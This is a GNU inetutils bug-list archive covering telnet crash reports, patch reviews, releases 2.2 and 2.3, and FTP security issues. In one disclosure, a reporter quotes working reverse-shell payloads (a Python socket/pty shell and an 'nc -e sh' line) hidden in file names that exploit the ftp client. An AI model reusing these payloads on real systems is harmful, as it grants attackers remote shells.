https://marc.info/?l=openbsd-bugs=165731429324728=2

/Simon


signature.asc
Description: PGP signature


Re: NULL Pointer Dereference in unsetcmd() at inetutils/telnet/commands.c:1227

2022-07-08 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> It seems to me as if this Netkit project no longer exists.  Since I do
> not know the upstream project, I have not report any bugs, and have not
> send any patches.

Yeah, the NetKit telnet project is in a sad state.

> I do not have a BSD system to test, but anyone who does can easily try
> out the above.

I think we should reach out to some BSD contacts...

NetBSD 9.2 (GENERIC) #0: Wed May 12 13:15:55 UTC 2021

gcc300$ telnet
telnet> set ' ' crash
[1]   Segmentation fault (core dumped) telnet
gcc300$ telnet
telnet>  unset ' '
[1]   Segmentation fault (core dumped) telnet
gcc300$ telnet
telnet> help z ! ? z ! ? z ! ? z ! ? z ! ? z ! ? z !
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
print help information
telnet> help help
[1]   Segmentation fault (core dumped) telnet
gcc300$ 

OpenBSD 7.1 (GENERIC.MP) #3: Sun May 15 10:27:01 MDT 2022

gcc220$ telnet
telnet> set ' ' crash
Segmentation fault (core dumped) 
gcc220$ telnet
telnet> unset ' '
Segmentation fault (core dumped) 
gcc220$ telnet
telnet> help z ! ? z ! ? z ! ? z ! ? z ! ? z ! ? z !
too many arguments
telnet> gcc220$ telnet
telnet> help help
(null)
telnet> 

FreeBSD 13.0-RELEASE-p3 (GENERIC) #0: Tue Jun 29 19:46:20 UTC 2021

$ telnet
telnet> set ' ' crash
Segmentation fault (core dumped)
$ telnet
telnet> unset ' '
Segmentation fault (core dumped)
$ telnet
telnet> help z ! ? z ! ? z ! ? z ! ? z ! ? z ! ? z !
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
print help information
suspend telnet
invoke a subshell
telnet> $ telnet
telnet> help help
Segmentation fault (core dumped)
$ 

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 3/3] telnet: Avoid command evaluation crashes.

2022-07-08 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> I want to look at your new tests, perhaps I can learn how to add some
> tests to verify the genget() functionality.

The test suite today is rather limited, as you probably have noticed,
but going forward it would really help if we created a self-check that
triggers a bug we want to solve, and then confirm that it actually fails
during build, and then succeeds after patching the bug.

You may want to look at NixOS or GitLab CI/CD for build failures:
https://hydra.nixos.org/jobset/gnu/inetutils-master
https://gitlab.com/jas/inetutils/-/pipelines
The GitLab recipe is here:
https://gitlab.com/jas/inetutils-cicd/-/blob/master/inetutils.yml
I'm not that familiar with NixOS but noticed now that builds fail.

>> Do you maintain your patchset publicly, or for internal uses only?
>
> It is publicly available at:
> https://www.unix-ag.uni-kl.de/~auerswal/gnu-inetutils/

Crystal clear, thank you!  Hopefully we can merge any more patches you
create a bit quicker, or you can do so yourself -- although initially
please wait for review before committing anything.

/Simon


signature.asc
Description: PGP signature


inetutils-2.3 released [stable]

2022-07-08 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
We are pleased to announce version 2.3 of The GNU Networking Utilities.

GNU Networking Utilities contain traditional networking utilities,
clients and servers, including ftp, telnet, inetd, rsh/rlogin, tftp,
talk, syslogd, ping, traceroute, whois, hostname, dnsdomainname,
ifconfig, and logger.

Happy hacking,
Simon

Here are the compressed sources:
  https://ftpmirror.gnu.org/inetutils/inetutils-2.3.tar.gz   (2.6MB)
  https://ftpmirror.gnu.org/inetutils/inetutils-2.3.tar.xz   (1.5MB)

Here are the GPG detached signatures[*]:
  https://ftpmirror.gnu.org/inetutils/inetutils-2.3.tar.gz.sig
  https://ftpmirror.gnu.org/inetutils/inetutils-2.3.tar.xz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.org/order/ftp.html

Here are the SHA1 and SHA256 checksums:

cd728a91f03c5bd3c7a8d210904bb55e315ca0cd  inetutils-2.3.tar.gz
HO2Jn+B8YNaFQdsWhq+ENUAk+lA+FsQ67C7z4DuNRLY  inetutils-2.3.tar.gz
539832b06727d03913f75c12c901d9b22db96cf0  inetutils-2.3.tar.xz
CwG7COKWI8TjuUDyM8lhRR2a+MUGYwGt12pSqV1Rdyw  inetutils-2.3.tar.xz

The SHA256 checksum is base64 encoded, instead of the
hexadecimal encoding that most checksum tools default to.

[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify inetutils-2.3.tar.gz.sig

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to update
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key si...@josefsson.org

  gpg --recv-keys 51722B08FE4745A2

  wget -q -O- 
'https://savannah.gnu.org/project/release-gpgkeys.php?group=inetutils=1'
 | gpg --import -

This release was bootstrapped with the following tools:
  Gnulib f310223230
  Autoconf 2.71
  Automake 1.16.5
  Bison 3.7.5
  M4 1.4.18
  Makeinfo 6.7
  Help2man 1.48.1
  Make 4.3
  Gzip 1.10
  Tar 1.34

NEWS

* Noteworthy changes in release 2.3 (2022-07-08) [stable]

** telnet

*** Don't infloop when (malicious) server sends too large terminal
value, see: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=945861

*** Abort subnegotiation of X Display Location Option with WONT when
DISPLAY value is too large for buffer.  Reported by Joerg Mayer in
.

*** Fix off-by-one error in Terminal-Type option subnegotiation if the
TERM variable has exactly 44 bytes.  This concerns the CVE-2019-0053
fixes.  Reported by Erik Auerswald in
.

*** Avoid crashing when given unexpected or invalid commands from tty.
Reported by Peter Kasza in
,
AiDai in  and
, and ZFeiXQ in
.

** Various bugs fixes, internal improvements and clean ups.

Further cleanup of configure.ac, updates to modern autoconf releases,
and improved gnulib usage.



signature.asc
Description: PGP signature


Re: Supported TLDs

2022-07-08 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Marco d'Itri  writes:

> On Jul 08, Simon Josefsson  wrote:
>
>> I don't know the history of inetutils' fork of (g)whois, is there any
>> hope in getting these code-bases merged now?  Maybe enough water has
>> passed under the bridges...
> I see no reasons at this point to tie whois to inetnutils development, 
> since inetutils clearly has failed to become widely adopted, but feel 
> free to import it again if you want.

I'm not sure it is a good idea to do that, do you track copyrightable
contributions in any way?

Is there any functionality in InetUtils whois that isn't in your
version?  That is, something added to our fork that didn't go into your
version?  It is hard to tell from commit history...

The situation here is quite unsatisfying and frustrating, but I'm not
sure what can be done to improve it.  It is similar to our fork of all
ancient BSD tools: they are still maintained in FreeBSD/NetBSD/etc but
the code have diverged and today there is plenty of features in our
tools that doesn't exist in the other versions.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 3/3] telnet: Avoid command evaluation crashes.

2022-07-08 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> I'll try to look into this over the weekend, but I cannot promise
> anything.  But this patch series should just address the same issues
> as the patches I sent before, perhaps with some smaller differences.
> It's been some time and I do not remember all the details.

I have merged your NEWS entries now.  There are some remaining patches
that aren't committed, but I'm not sure they are as critical anymore and
if we change ancient code it should preferably come with a self-check
that excercise the code path.

>> Btw, it is generally preferrably to have one commit solve one bug
>> report instead of doing several bug reports in one commit like your
>> proposed patch did.
>
> Yes, I agree.  I rolled everything up into three mostly independent
> patches to make it easier for me to maintain the patches externally,
> and to need to write less commit messages. ;-)

Do you maintain your patchset publicly, or for internal uses only?

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 0/3] GNU inetutils telnet client fixes

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hi,
>
> On 27.02.22 17:32, Erik Auerswald wrote:
>> [...]
>> [I have not yet received and answer from the FSF regarding the copyright
>> assignment paperwork I have sent.]
>
> I have just received confirmation that the copyright assignment
> has been processed and completed successfully.

Yay!  Welcome.  I'll be happy to review your patches and help you get
going as co-maintainer of the project.  Please read if you haven't
already: https://www.gnu.org/prep/maintain/maintain.html

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 3/3] telnet: Avoid command evaluation crashes.

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Thanks for preparing these, I should have read through all posts before
started working on them separately... so this patch no longer applies as
is.  Would you like to re-review these, to see if anything more is still
needed after I applied some changes?  Maybe it is just the NEWS entries.

Btw, it is generally preferrably to have one commit solve one bug report
instead of doing several bug reports in one commit like your proposed
patch did.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 2/3] telnet: Fix TTYPE subnegotiation off-by-one error.

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Fix off-by-one error in Terminal-Type option subnegotiation if the TERM
> variable has exactly 44 bytes.  In this case the SE byte (end of
> subnegotiation parameters) was replaced by a NUL byte.  This concerns
> the CVE-2019-0053 fixes.  Reported by Erik Auerswald in
> .

Thank you!

https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=7aa677948c1d3f26c77f7a30f3c48d0a304595a0

/Simon


signature.asc
Description: PGP signature


Re: Bug in telnet from inetutils-2.2: Insufficient buffer space for longish DISPLAY names

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> I have attached the output of "git format-patch origin" after locally
> committing the patch for this issue and adding a NEWS entry.  Please let
> me know if this looks OK.  Did I miss anything?

Looks good to me, thank you!

https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=e48407eb2a1d81355992feb47be76eb748361890

/Simon


signature.asc
Description: PGP signature


Re: Supported TLDs

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Chris Reveles  writes:

> Hello,
>
>
> I hope 2022 is already up to a good start over there. I am doing some
> research and I noticed certain TLDs such as .art and .eth are not resolving
> properly from the *whois* command, are such domains on the map to be
> supported?

Thanks for the report -- I fixed so that .art works, but .eth is not
real so I don't see anything to do there.

https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=f7ab99d776fbe7b4fb1bac07b4efb5c882dbcb00

I don't know the history of inetutils' fork of (g)whois, is there any
hope in getting these code-bases merged now?  Maybe enough water has
passed under the bridges...

/Simon


signature.asc
Description: PGP signature


Re: Heap-based Buffer Overflow in logger

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
AiDai  writes:

> 0x60c0003f is located 1 bytes to the left of 120-byte region

Nice catch!  Reproducing it is easy:

jas@latte:~/src/inetutils$ valgrind src/logger -s ''
...
==339979== Invalid read of size 1
==339979==at 0x10AA71: send_to_syslog (logger.c:329)
==339979==by 0x10A5CD: main (logger.c:504)
==339979==  Address 0x4a343ef is 1 bytes before a block of size 1 alloc'd
==339979==at 0x483877F: malloc (vg_replace_malloc.c:307)
==339979==by 0x10CB08: xmalloc (xmalloc.c:44)
==339979==by 0x10A57D: main (logger.c:494)

Writing a self-check for it is harder though, since the tool doesn't
crash.

Fixed by this patch:

https://git.savannah.gnu.org/gitweb/?p=inetutils.git;a=commitdiff;h=8e0df0e80b156a09ff361050bac38bbdcda03aef

/Simon


signature.asc
Description: PGP signature


Re: NULL Pointer Dereference in unsetcmd() at inetutils/telnet/commands.c:1227

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

>> This happens when the "unset" command is used with a single space as
>> argument, because the "Setlist" contains entries for empty lines that use
>> a single space as key, but the setlist.handler is 0 and the setlist.charp
>> is NULL:
>> 
>> {" ", "", 0, NULL},
>> 
>> There are several (identical) such entries, but since the " " entry is
>> matched exactly, isprefix() does not return an ambiguous match, but an
>> exact match.
>  ^--- of the first such entry
>
> The Setlist table contains comment lines with " " as name, too.
>
> It might be a good idea to not match any table entry in genget() when
> the name is a single space (" ").
>
> It could be useful to change isprefix() to not exit early on the
> first exact match, and thus return "" when trying to match a
> duplicated name.  This would have prevented this specific NULL pointer
> dereference, because there is more than one empty and/or comment line,
> i.e., with a name of " ", in the respective table.  It would help against
> accidentally adding two entries to a table, too.  But it would not guard
> against matching the single "empty line" in the Togglelist table.

Yeah, I agree, but this code is in libtelnet/genget.c which is really
ancient.  It is not clear that patching it now improves anything, it may
just risk introducing new problems.

I do wonder if this (and other) bugs are present in other modern
implementations though?  Or if they discovered this problem and patched
it in some different way...  if anyone has time to look into it, that
would be nice.

/Simon


signature.asc
Description: PGP signature


Re: NULL Pointer Dereference in setcmd () at commands.c:1152

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

>> A NULL Pointer Dereference was discovered in setcmd () at
>> commands.c:1152. The vulnerability causes a segmentation fault and
>> application crash.
...
> The attached patch "inetutils-telnet-set_null_deref_fix.patch" fixes this
> by rejecting a set argument with neither ct->handler nor ct->charp.

Wonderful, thanks again for report and patch!

https://git.savannah.gnu.org/gitweb/?p=inetutils.git;a=commitdiff;h=43ee2f01919cd1d0ecd8c1596d075aa8a54804d5
https://git.savannah.gnu.org/gitweb/?p=inetutils.git;a=commitdiff;h=9b4972fc95e741d94f9f0647bc9ff8b99bc445e0

/Simon


signature.asc
Description: PGP signature


Re: NULL Pointer Dereference in unsetcmd() at inetutils/telnet/commands.c:1227

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

>> A NULL Pointer Dereference was discovered in unsetcmd() at
>> inetutils/telnet/commands.c:1227. The vulnerability causes a segmentation
>> fault and application crash.
...
> The attached patch fixes this:

Thank you again.  Committed as follows:

https://git.savannah.gnu.org/gitweb/?p=inetutils.git;a=commitdiff;h=6123dd90d9c687b1b4c303f01d6e8142c93d8018
https://git.savannah.gnu.org/gitweb/?p=inetutils.git;a=commitdiff;h=bbfc0be2e87c9c14418c2709bf9163707fbfafe9

/Simon


signature.asc
Description: PGP signature


Re: NULL Pointer Dereference in help()

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> On Thu, Dec 23, 2021 at 09:15:59PM +0800, AiDai wrote:
>> Line 1: # NULL Pointer Dereference in help() at
>> inetutils/telnet/commands.c:3094
>
> Thanks for fuzzing GNU inetutils!

Hi AiDai and Erik.  Thanks for the report, debugging and patch!

I installed your fixes and a regression self-check:

https://git.savannah.gnu.org/gitweb/?p=inetutils.git;a=commitdiff;h=0e5767771a89498f8a9fa65733321b5e1107cace
https://git.savannah.gnu.org/gitweb/?p=inetutils.git;a=commitdiff;h=fe1c596e029cab03271190674fe715d2d0ed8d26
https://git.savannah.gnu.org/gitweb/?p=inetutils.git;a=commitdiff;h=9a2a28719e9f84e8bc6506e50d5e7d0735ace1d7

/Simon


signature.asc
Description: PGP signature


Re: [Bug][Patch] Buffer overflow in function makeargv() in telnet/commands.c

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> The attached patch fixes this.

Hi Erik.  Wonderful, what a master-piece of a bug report!  Patch
installed here:

https://git.savannah.gnu.org/gitweb/?p=inetutils.git;a=commitdiff;h=f0c2abdbb720d8396061b75cc47d69edab012864

Since the crash was easy to reproduce, I added a self-check that would
trigger it:

https://git.savannah.gnu.org/gitweb/?p=inetutils.git;a=commitdiff;h=4b2c454d96e3f13bc09c01cbe4aba5b35923fbb3

/Simon


signature.asc
Description: PGP signature


Re: Memory leak in ifconfig

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
AiDai  writes:

> Direct leak of 64 byte(s) in 1 object(s) allocated from:
> #0 0x494bdd in malloc
> (/root/disk2/fuzzing/inetutils/fuzz/bin/ifconfig+0x494bdd)
> #1 0x4e0330 in linux_if_nameindex
> /root/disk2/fuzzing/inetutils/inetutils/ifconfig/./system/linux.c:948:11
> #2 0x4cbfd5 in parse_cmdline
> /root/disk2/fuzzing/inetutils/inetutils/ifconfig/options.c:678:22
> #3 0x4c432c in main
> /root/disk2/fuzzing/inetutils/inetutils/ifconfig/ifconfig.c:56:3

Thank you, I could reproduce it and fixed it here:

https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=6599d2be88c4e44ef88470aef16bf10bd7d67884

/Simon


signature.asc
Description: PGP signature


Re: inetutils-2.2 released [stable]

2022-07-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Michael Brunnbauer  writes:

> Hello Simon,
>
> it seems to me that the bug which the test code tries to trigger never got 
> fixed?
>
>  https://sourceware.org/bugzilla/show_bug.cgi?id=11053

Hi.  Looks like work on that bug was done shortly after your email, and
the last release, and gnulib has been updated since.  Could you try
building latest inetutils from git?  It should fix this, so hopefully we
can get a new release out soonish if you can confirm.

/Simon

> Regards,
>
> Michael Brunnbauer
>
> On Mon, Sep 13, 2021 at 11:44:25AM +0200, Michael Brunnbauer wrote:
>> 
>> Hello Simon,
>> 
>> here is a minimal example. This looks more like a bug in glibc:
>> 
>> #define _GNU_SOURCE 1
>> 
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>> 
>> int main()
>> {
>> static struct re_pattern_buffer regex;
>> int i;
>> const char *s;
>> struct re_registers regs;
>> 
>> /* glibc bug 11053.  */
>> re_set_syntax (RE_SYNTAX_POSIX_BASIC);
>> memset (, 0, sizeof regex);
>> static char const pat_sub2[] = "\\(a*\\)*a*\\1";
>> s = re_compile_pattern (pat_sub2, sizeof pat_sub2 - 1, );
>> if (s) return 123;
>> memset (, 0, sizeof regs);
>> static char const data[] = "a";
>> int datalen = sizeof data - 1;
>> i = re_search (, data, datalen, 0, datalen, );
>> return 0;
>> }
>> 
>> Regards,
>> 
>> Michael Brunnbauer
>> 
>> On Mon, Sep 13, 2021 at 11:02:49AM +0200, Michael Brunnbauer wrote:
>> > 
>> > Hello Simon,
>> > 
>> > On Fri, Sep 10, 2021 at 01:22:50PM +0200, Simon Josefsson wrote:
>> > > Could you try to reproduce the problem standalone?  The file regexp.m4
>> > > contains the C code to trigger the bug,
>> > 
>> > Not usable. But configure actually dumps the code in config.log - I 
>> > extracted
>> > it from there.
>> > 
>> > > could you extract it and build it separately and run it under gdb and 
>> > > get a 'bt full' backtrace?
>> > 
>> > Sourcecode is attached. It was compiled with "gcc -o test -g -O2 test.c".
>> > Here is the backtrace:
>> > 
>> > gdb test
>> > GNU gdb (GDB) 9.1
>> > Copyright (C) 2020 Free Software Foundation, Inc.
>> > License GPLv3+: GNU GPL version 3 or later 
>> > 
>> > This is free software: you are free to change and redistribute it.
>> > There is NO WARRANTY, to the extent permitted by law.
>> > Type "show copying" and "show warranty" for details.
>> > This GDB was configured as "x86_64-pc-linux-gnu".
>> > Type "show configuration" for configuration details.
>> > For bug reporting instructions, please see:
>> > .
>> > Find the GDB manual and other documentation resources online at:
>> > .
>> > 
>> > For help, type "help".
>> > Type "apropos word" to search for commands related to "word"...
>> > Reading symbols from test...
>> > (gdb) run
>> > Starting program: /home/bold/GNU/inetutils-2.2/test
>> > 
>> > Program received signal SIGSEGV, Segmentation fault.
>> > memcpy@GLIBC_2.2.5 ()
>> > at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:208
>> > 208 VMOVU   (%rsi), %VEC(0)
>> > (gdb) bt full
>> > #0  memcpy@GLIBC_2.2.5 ()
>> > at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:208
>> > No locals.
>> > #1  0x77e9f1b6 in pop_fail_stack (fs=fs@entry=0x7fffe0a0,
>> > pidx=pidx@entry=0x7fffe08c, nregs=nregs@entry=2,
>> > regs=regs@entry=0x406da0, 
>> > eps_via_nodes=eps_via_nodes@entry=0x7fffe090)
>> > at regexec.c:1351
>> > num = 
>> > #2  0x77eaa271 in set_regs (fl_backtrack=,
>> > pmatch=0x406da0, nmatch=2, mctx=0x7fffe150, preg=0x406cb0)
>> > at regexec.c:1449
>> > dfa = 
>> > idx = 0
>> > eps_via_nodes = {alloc = 2, nelem = 1, elems = 0x40b340}
>> > cur_node = 
>> > fs = 0x7fffe0a0
>> > fs_body = {num = -1, alloc = 4, stack = 0x40ba30}
>> > prev_match = {u = {dynarray_abstract = {used = 2, allocated = 16,
>> >   array = 0x7fffe0c8}, dynarray_header = {used = 2,
>> >   allocated = 16, array = 0x7fffe0c8}}, scratch = {{rm_so 
>> > = 0,
>> >   rm_eo = 1}, {rm_so = 0, rm_eo = 1}, {rm_so = 2, rm_eo = 0}, {
>> >   rm_so = 16, rm_eo = 0}, {rm_so = 4236744, rm_eo = 0}, {
>> >   rm_so = 4236720, rm_eo = 0}, {rm_so = 4222128, rm_eo = 0}, {
>> >   rm_so = 50, rm_eo = 0}, {rm_so = -135964009, rm_eo = 32767}, 
>> > {
>> >   rm_so = 4222912, rm_eo = 0}, {rm_so = 4236744, rm_eo = 0}, {
>> >   rm_so = 4236720, rm_eo = 0}, {rm_so = 2, rm_eo = 0}, {
>> >   rm_so = 4222912, rm_eo = 0}, {rm_so = -135668317,
>> >   rm_eo = 32767}, {rm_so = 0, rm_eo = 1}}}
>> > prev_idx_match = 

Re: FTP client arbitrary code execution

2021-09-20 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
John Zhau  writes:

> After some further testing, I've found that I'm still able to get a shell
> with the aforementioned payload even with other files in the same
> directory. I've also found that I can also get a shell with the following
> file name:
>
> ```
> |nc 127.0.0.1 1337 -e sh
> ```
>
> As a result, I believe code execution is caused by having a `|` (pipe) at
> the beginning of the file name.

Hi.  Thanks for the report.  Are you sure this isn't intended behaviour?
There seems to be globbing support in the ftp client, to support
redirects like | and > from within the client.

/Simon

>
> Also, the version information is as follows.
>
> ```
> $ ftp --version
> ftp (GNU inetutils) 2.1
> Copyright (C) 2021 Free Software Foundation, Inc.
> License GPLv3+: GNU GPL version 3 or later <
> https://gnu.org/licenses/gpl.html>.
> This is free software: you are free to change and redistribute it.
> There is NO WARRANTY, to the extent permitted by law.
>
> Written by many authors.
> ```
>
> On Sun, Sep 19, 2021 at 7:04 PM John Zhau  wrote:
>
>> I've found that with a certain file name, `ftp` executes code in the file
>> name. The file is created with the following command
>>
>> ```
>> touch "|python3 -c 'import
>> os,pty,socket;s=socket.socket();s.connect((\"YOUR_IP\",YOUR_PORT));[os.dup2(s.fileno(),f)for
>> f in(0,1,2)];pty.spawn(\"sh\")';echo .csv"
>> ```
>>
>> To get code to execute, simply have the file in the current directory
>> (haven't tested with multiple files in the directory) and run `put *` to
>> upload everything.
>>
>> This bug was found while I was doing a CTF (capture the flag) challenge
>> and I haven't been able to connect to the same server since for further
>> testing.
>>


signature.asc
Description: PGP signature


Re: inetutils-2.2 released [stable]

2021-09-10 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Michael Brunnbauer  writes:

> hi
>
> On Sun, Sep 05, 2021 at 11:24:34AM +0200, Simon Josefsson wrote:
>> Thanks -- interesting, which operating system is this?  Knowing that
>> would make it easier for me to reproduce it.
>
> I compile everything myself - sorry. Maybe the problem has to do with me
> using the latest glibc.

Could you try to reproduce the problem standalone?  The file regexp.m4
contains the C code to trigger the bug, could you extract it and build
it separately and run it under gdb and get a 'bt full' backtrace?  The
code looks quite complex...

/Simon


signature.asc
Description: PGP signature


Re: inetutils-2.2 released [stable]

2021-09-05 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Michael Brunnbauer  writes:

> From syslog:
>
> conftest[30264]: segfault at 0 ip 7f2bfdf50ce7 sp 7fffd3380918
> error 4 in libc.so.6[7f2bfdec9000+167000]
>
> From config.log:
>
> configure:37718: checking for working re_compile_pattern
> configure:38031: gcc -o conftest -g -O2   conftest.c  >&5
> configure:38031: $? = 0
> configure:38031: ./conftest
> ./configure: line 3032: 15415 Segmentation fault  ./conftest$ac_exeext
> configure:38031: $? = 139
> configure: program exited with status 139
>
> Linux kernel 4.9.276
> Glibc 2.34
> GCC 7.5.0
>
> Need more info?

Thanks -- interesting, which operating system is this?  Knowing that
would make it easier for me to reproduce it.

What does 'make check' output?

/Simon


signature.asc
Description: PGP signature


inetutils-2.2 released [stable]

2021-09-01 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
We are pleased to announce version 2.2 of The GNU Networking Utilities.

GNU Networking Utilities contain traditional networking utilities,
clients and servers, including ftp, telnet, inetd, rsh/rlogin, tftp,
talk, syslogd, ping, traceroute, whois, hostname, dnsdomainname,
ifconfig, and logger.

Happy hacking,
Simon

Here are the compressed sources:
  https://ftpmirror.gnu.org/inetutils/inetutils-2.2.tar.gz   (2.6MB)
  https://ftpmirror.gnu.org/inetutils/inetutils-2.2.tar.xz   (1.5MB)

Here are the GPG detached signatures[*]:
  https://ftpmirror.gnu.org/inetutils/inetutils-2.2.tar.gz.sig
  https://ftpmirror.gnu.org/inetutils/inetutils-2.2.tar.xz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.org/order/ftp.html

Here are the SHA1 and SHA256 checksums:

bd12fa98020cd2764e5fefbe90518f86e7874202  inetutils-2.2.tar.gz
CGEbzdz3PpqLlnuPC/kq1NNZbY8+don58ua7xM+n4+M  inetutils-2.2.tar.gz
a6b0783d315657e51a09ee281af1210cc5293b9f  inetutils-2.2.tar.xz
1Uf2kXLfc6/vaRoPeIYoD9eBrOoo3vT/S0shIIaonYA  inetutils-2.2.tar.xz

The SHA256 checksum is base64 encoded, instead of the
hexadecimal encoding that most checksum tools default to.

[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify inetutils-2.2.tar.gz.sig

If that command fails because you don't have the required public key,
then run this command to import it:

  gpg --keyserver keys.gnupg.net --recv-keys 0664A76954265E8C

and rerun the 'gpg --verify' command.

This release was bootstrapped with the following tools:
  Gnulib v0.1-4897-ga4e28bb23
  Autoconf 2.69
  Automake 1.16.3
  Bison 3.7.5
  M4 1.4.18
  Makeinfo 6.7
  Help2man 1.48.1
  Make 4.3
  Gzip 1.10
  Tar 1.34

NEWS

* Noteworthy changes in release 2.2 (2021-09-01) [stable]

** ftp

The ftp client now validate addresses returned by PASV/LSPV responses,
to make sure they match the server address.  Reported by ZeddYu Lu in
.

Thanks to Luke Mewburn  for discussion and fix to
NetBSD code, we used a similar solution.

** logger
** rlogind

Code for non-getaddrinfo removed, since we are using gnulib to provide
getaddrinfo on any platform that lacks it.  This may have resulted in
logger not using getaddrinfo on platforms that didn't have the
getaddrinfo prototype, even though we use the gnulib module.

** Various bugs fixes, internal improvements and clean ups.

A lot of configure.ac checks were removed that are no longer needed
since we rely on gnulib for portability.

The tests/ftp-localhost.sh self-test no longer fails on platforms
where sysctl is missing.


signature.asc
Description: PGP signature


Re: scurity issue in inetutils ftp client

2021-07-20 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
ZeddYu Lu  writes:

> Last year, curl had a security update for CVE-2020-8284. more info, see
> https://hackerone.com/reports/1040166
>
> The problem is ftp client trust the host from PASV response by default, A
> malicious server can trick ftp client into connecting back to a given IP
> address and port. This may make ftp client scan ports and extract service
> banner from private newwork.

Thank you for the report!  Indeed this seems real, and a quite old bug.
The solution by others (to just ignore the IP address sent by the
server, and use the one provided by the local user instead) is good.

This is an ancient tool that may be used to connect to ancient servers
that for some reason could behave like this.  I think it would be nice
to offer the old behaviour as an option, like curl did.  I have looked
around to see how other command-line ftp clients patched this bug, but
cannot find any good patterns.  Are you aware of any patches to similar
old ftp clients like ours?  As far as I can tell, NetKit-ftp isn't
patched against this bug.

/Simon


signature.asc
Description: PGP signature


Re: Security Vulnerability Reporting

2021-07-20 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Onur Şahin  writes:

> Hello,
>
> I was wondering if there is a process in place for reporting security
> vulnerabilities for inetutils? If so, what might that process be?

Hi!  Right now there isn't much of a formal process -- please post your
findings to this mailing list, and we can all try to help fix things.
If you don't want to disclose things in public, you can try to reach any
of us privately.  Helping us with a patch speed up the process (but do
sign copyright papers with the FSF first so we can use the patch, if it
isn't a trivial patch).

/Simon


signature.asc
Description: PGP signature


Re: A possible hang bug in Telnet

2021-06-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Meng Ruijie  writes:

> Dear Sir/Madam,
>
> Sorry to bother you. During testing the Inetutils telnet, I found a
> likely hang bug. Hope you could have a check.
>
> After telnet is connected with a telnet server, a telnet server is
> crashed, and then telnet will be blocked forever. The reason seems
> that the function select() in sys_bsd.c doesn't consider the condition
> of unlikely receiving data from the server. It isn't set a timeout and
> always waits for data coming.

Hi.  Thanks for the report.  Is your bug in telnet or telnetd?  If it is
the telnet client, doesn't ctrl-] work in this situation, to allow you
to quit or re-open the connection?

Generally, please describe what operating system and environment you
installed Inetutils on, and the exact sequence of steps required for us
to be able to reproduce the problem.

/Simon


signature.asc
Description: PGP signature


Re: Emacs AngeFTP fails on macOS 10.14 with GNU inetutils FTP

2021-05-26 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Alex Bochannek  writes:

> Simon Josefsson  writes:
>
>> Alex Bochannek  writes:
>>
>>> Alex Bochannek  writes:
>>>
 I keep debugging what's going on there. I have found an interesting,
 platform-dependent behavior in Emacs that may or may not be related to
 this problem.
>>>
>>> I was looking at what Bash and tnftp do when they run in an Emacs
>>> comint-mode (shell and ange-ftp, respectively) and the below seems to be
>>> the easiest fix. It's more or less directly copied from tnftp.
>>
>> Thanks for debugging -- can you test if what I committed also works?
>>
>> https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=ef2060d53581649f6347574b21ecbbdcc0067b8a
>
> I have tested this on macOS 10.14.6 and it works. Thanks!
>
>> Having magic environment variables like this is not ideal, but I guess
>> it already spread to bash and other tools, so it is now a feature.
>
